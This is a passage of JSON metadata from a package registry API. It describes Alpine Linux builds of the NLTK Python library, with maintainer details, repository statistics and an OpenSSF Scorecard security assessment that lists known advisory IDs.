ull_requests_count":137,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":54,"past_year_pull_requests_count":78,"past_year_avg_time_to_close_issue":1278785.7931034483,"past_year_avg_time_to_close_pull_request":2512805.6153846155,"past_year_issues_closed_count":29,"past_year_pull_requests_closed_count":52,"past_year_pull_request_authors_count":26,"past_year_issue_authors_count":44,"past_year_avg_comments_per_issue":1.0740740740740742,"past_year_avg_comments_per_pull_request":2.269230769230769,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/issues","maintainers":[{"login":"ekaf","count":34,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":23,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"},{"login":"tomaarsen","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tomaarsen"},{"login":"alexrudnick","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alexrudnick"},{"login":"stevenbird","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stevenbird"}],"active_maintainers":[{"login":"ekaf","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-nltk/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-nltk/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-nltk/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-nltk/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-nltk/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-nltk/codemeta","maintainers":[{"uuid":"iztok@iztok-jr-fister.eu","login":null,"name":"Iztok Fister, Jr.","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Iztok Fister, Jr.","packages_count":271,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Iztok Fister, Jr.","role":null,"created_at":"2024-06-12T01:19:12.324Z","updated_at":"2024-06-12T01:19:12.324Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/maintainers/iztok@iztok-jr-fister.eu/packages"}],"registry":{"name":"alpine-v3.20","url":"https://pkgs.alpinelinux.org/packages?branch=v3.20","ecosystem":"alpine","default":false,"packages_count":24162,"maintainers_count":405,"namespaces_count":2,"keywords_count":4251,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1476},"icon_url":"https://github.com/alpinelinux.png","created_at":"2024-06-07T11:51:39.915Z","updated_at":"2026-06-10T05:19:00.233Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/namespaces"}},{"id":13009520,"name":"py3-nltk-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-nltk","homepage":"https://github.com/nltk/nltk","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nltk/nltk","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2025-10-03T02:20:38.000Z","latest_release_published_at":"2025-10-03T02:20:38.000Z","latest_release_number":"3.9.2-r0","last_synced_at":"2026-04-09T12:04:34.842Z","created_at":"2026-01-31T01:00:43.753Z","updated_at":"2026-04-09T12:04:34.842Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.23/community/x86_64/py3-nltk-pyc","install_command":"apk add py3-nltk-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-nltk-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.23","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-nltk-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-nltk-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-nltk-pyc/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-nltk-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-nltk-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-nltk-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-nltk-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-nltk-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-nltk-pyc/codemeta","maintainers":[{"uuid":"wpsinatra@gmail.com","login":null,"name":"Will Sinatra","email":"wpsinatra@gmail.com","url":"https://pkgs.alpinelinux.org/packages?maintainer=Will Sinatra","packages_count":513,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Will Sinatra","role":null,"created_at":"2026-03-03T17:52:33.707Z","updated_at":"2026-03-03T17:52:33.707Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/maintainers/wpsinatra@gmail.com/packages"}],"registry":{"name":"alpine-v3.23","url":"https://pkgs.alpinelinux.org/packages?branch=v3.23","ecosystem":"alpine","default":false,"packages_count":27574,"maintainers_count":428,"namespaces_count":2,"keywords_count":181,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":104},"icon_url":"https://github.com/alpinelinux.png","created_at":"2026-01-24T14:35:50.739Z","updated_at":"2026-06-10T05:17:06.512Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/namespaces"}},{"id":8677411,"name":"py3-nltk","ecosystem":"alpine","description":"Natural Language Toolkit","homepage":"https://github.com/nltk/nltk","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nltk/nltk","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2023-09-16T20:26:39.000Z","latest_release_published_at":"2023-09-16T20:26:39.000Z","latest_release_number":"3.8.1-r2","last_synced_at":"2026-04-08T14:06:21.629Z","created_at":"2023-12-20T10:28:47.093Z","updated_at":"2026-04-08T14:06:21.630Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.19/community/x86_64/py3-nltk","install_command":"apk add py3-nltk","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-nltk?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.19","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-nltk","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-nltk","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-nltk/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-nltk/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-nltk/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-nltk/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-nltk/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-nltk/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-nltk/codemeta","maintainers":[{"uuid":"iztok@iztok-jr-fister.eu","login":null,"name":"Iztok Fister, Jr.","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Iztok Fister, Jr.","packages_count":267,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Iztok Fister, Jr.","role":null,"created_at":"2024-10-29T19:42:35.683Z","updated_at":"2024-10-29T19:42:35.683Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/maintainers/iztok@iztok-jr-fister.eu/packages"}],"registry":{"name":"alpine-v3.19","url":"https://pkgs.alpinelinux.org/packages?branch=v3.19","ecosystem":"alpine","default":false,"packages_count":23031,"maintainers_count":392,"namespaces_count":2,"keywords_count":3179,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":824},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-12-20T09:51:56.346Z","updated_at":"2026-06-10T05:19:05.125Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/namespaces"}},{"id":6056265,"name":"py3-nltk","ecosystem":"alpine","description":"Natural Language Toolkit","homepage":"https://github.com/nltk/nltk","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nltk/nltk","keywords_array":[],"namespace":"community","versions_count":11,"first_release_published_at":"2022-12-12T20:22:18.000Z","latest_release_published_at":"2026-05-12T00:00:03.000Z","latest_release_number":"3.9.4-r0","last_synced_at":"2026-05-12T00:33:37.260Z","created_at":"2023-01-31T18:51:46.376Z","updated_at":"2026-05-12T00:33:37.958Z","registry_url":"https://pkgs.alpinelinux.org/package/edge/community/x86_64/py3-nltk","install_command":"apk add py3-nltk","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":657117,"uuid":"299862","full_name":"nltk/nltk","owner":"nltk","description":"NLTK Source","archived":false,"fork":false,"pushed_at":"2025-10-07T05:54:26.000Z","size":354538,"stargazers_count":14337,"open_issues_count":269,"forks_count":2945,"subscribers_count":452,"default_branch":"develop","last_synced_at":"2025-10-16T01:12:42.219Z","etag":null,"topics":["machine-learning","natural-language-processing","nlp","nltk","python"],"latest_commit_sha":null,"homepage":"https://www.nltk.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nltk.png","metadata":{"files":{"readme":"README.md","changelog":"ChangeLog","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":"CITATION.cff","codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.md","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2009-09-07T10:53:58.000Z","updated_at":"2025-10-15T13:30:24.000Z","dependencies_parsed_at":"2023-07-05T15:16:46.493Z","dependency_job_id":"cbe8f0b1-5657-4fc2-ab64-5f7a827e77b4","html_url":"https://github.com/nltk/nltk","commit_stats":{"total_commits":13268,"total_committers":476,"mean_commits":"27.873949579831933","dds":0.6874434730177872,"last_synced_commit":"7397ccfed06e7c836d3acb0b9197f6e6b26c6741"},"previous_names":[],"tags_count":47,"template":false,"template_full_name":null,"purl":"pkg:github/nltk/nltk","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/refs/heads/develop","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/sbom","scorecard":{"id":690730,"data":{"date":"2025-08-11","repo":{"name":"github.com/nltk/nltk","commit":"aff0ecb71db1944182e9ee3a595084325933d0e1"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.9,"checks":[{"name":"Code-Review","score":8,"reason":"Found 4/5 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"23 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Security-Policy","score":9,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/labeler.yml:8","Warn: no topLevel permission defined: .github/workflows/cffconvert.yml:1","Warn: no topLevel permission defined: .github/workflows/ci.yaml:1","Warn: no topLevel permission defined: .github/workflows/labeler.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:110: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:116: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:123: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/labeler.yml/develop?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:29","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:52","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:105","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:106","Info:   0 out of  14 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'develop'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: PYSEC-2023-23 / GHSA-jrwr-5x3p-hvc3","Warn: Project is vulnerable to: PYSEC-2023-24 / GHSA-vrjv-mxr7-vjf8","Warn: Project is vulnerable to: PYSEC-2021-142 / GHSA-8q59-q68h-6hv4","Warn: Project is vulnerable to: PYSEC-2018-49 / GHSA-rprw-h62v-c2w7","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: PYSEC-2017-74"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T02:14:45.126Z","repository_id":657117,"created_at":"2025-08-22T02:14:45.126Z","updated_at":"2025-08-22T02:14:45.126Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":279148122,"owners_count":26114201,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-16T02:00:06.019Z","response_time":53,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"nltk","name":"Natural Language Toolkit","uuid":"124114","kind":"organization","description":"","email":null,"website":"http://nltk.org","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/124114?v=4","repositories_count":10,"last_synced_at":"2024-03-25T20:23:21.452Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/nltk","funding_links":[],"total_stars":14866,"followers":264,"following":0,"created_at":"2022-11-02T16:31:24.682Z","updated_at":"2024-03-25T20:23:21.875Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk/repositories"},"tags":[]},"repo_metadata_updated_at":"2025-10-17T21:12:39.329Z","dependent_packages_count":2,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":3.393080776455855,"stargazers_count":1.3306199123356293,"forks_count":0.7318409517845961,"average":1.36388541014402},"purl":"pkg:apk/alpine/py3-nltk?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=edge","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-nltk","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-nltk","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-nltk/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-10-07T15:01:08.027Z","issues_count":280,"pull_requests_count":238,"avg_time_to_close_issue":27896123.601226993,"avg_time_to_close_pull_request":9941234.244791666,"issues_closed_count":163,"pull_requests_closed_count":192,"pull_request_authors_count":82,"issue_authors_count":242,"avg_comments_per_issue":3.7607142857142857,"avg_comments_per_pull_request":2.6092436974789917,"merged_pull_requests_count":137,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":54,"past_year_pull_requests_count":78,"past_year_avg_time_to_close_issue":1278785.7931034483,"past_year_avg_time_to_close_pull_request":2512805.6153846155,"past_year_issues_closed_count":29,"past_year_pull_requests_closed_count":52,"past_year_pull_request_authors_count":26,"past_year_issue_authors_count":44,"past_year_avg_comments_per_issue":1.0740740740740742,"past_year_avg_comments_per_pull_request":2.269230769230769,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/issues","maintainers":[{"login":"ekaf","count":34,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":23,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"},{"login":"tomaarsen","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tomaarsen"},{"login":"alexrudnick","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alexrudnick"},{"login":"stevenbird","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stevenbird"}],"active_maintainers":[{"login":"ekaf","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-nltk/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-nltk/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-nltk/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-nltk/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-nltk/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-nltk/codemeta","maintainers":[{"uuid":"wpsinatra@gmail.com","login":null,"name":"Will Sinatra","email":"wpsinatra@gmail.com","url":"https://pkgs.alpinelinux.org/packages?maintainer=Will Sinatra","packages_count":635,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Will Sinatra","role":null,"created_at":"2024-11-13T02:39:52.495Z","updated_at":"2024-11-13T02:39:52.495Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/maintainers/wpsinatra@gmail.com/packages"}],"registry":{"name":"alpine-edge","url":"https://pkgs.alpinelinux.org/packages?branch=edge","ecosystem":"alpine","default":false,"packages_count":39502,"maintainers_count":890,"namespaces_count":3,"keywords_count":6579,"github":"alpinelinux","metadata":{"repos":["main","community","testing"],"funded_packages_count":2727},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.616Z","updated_at":"2026-06-10T05:16:50.784Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/namespaces"}},{"id":6083822,"name":"py3-nltk","ecosystem":"alpine","description":"Natural Language Toolkit","homepage":"https://github.com/nltk/nltk","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nltk/nltk","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2022-08-20T16:20:25.000Z","latest_release_published_at":"2022-08-20T16:20:25.000Z","latest_release_number":"3.7-r1","last_synced_at":"2026-04-08T14:07:43.374Z","created_at":"2023-01-31T20:02:21.193Z","updated_at":"2026-04-08T14:07:43.374Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.17/community/x86_64/py3-nltk","install_command":"apk add py3-nltk","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":657117,"uuid":"299862","full_name":"nltk/nltk","owner":"nltk","description":"NLTK 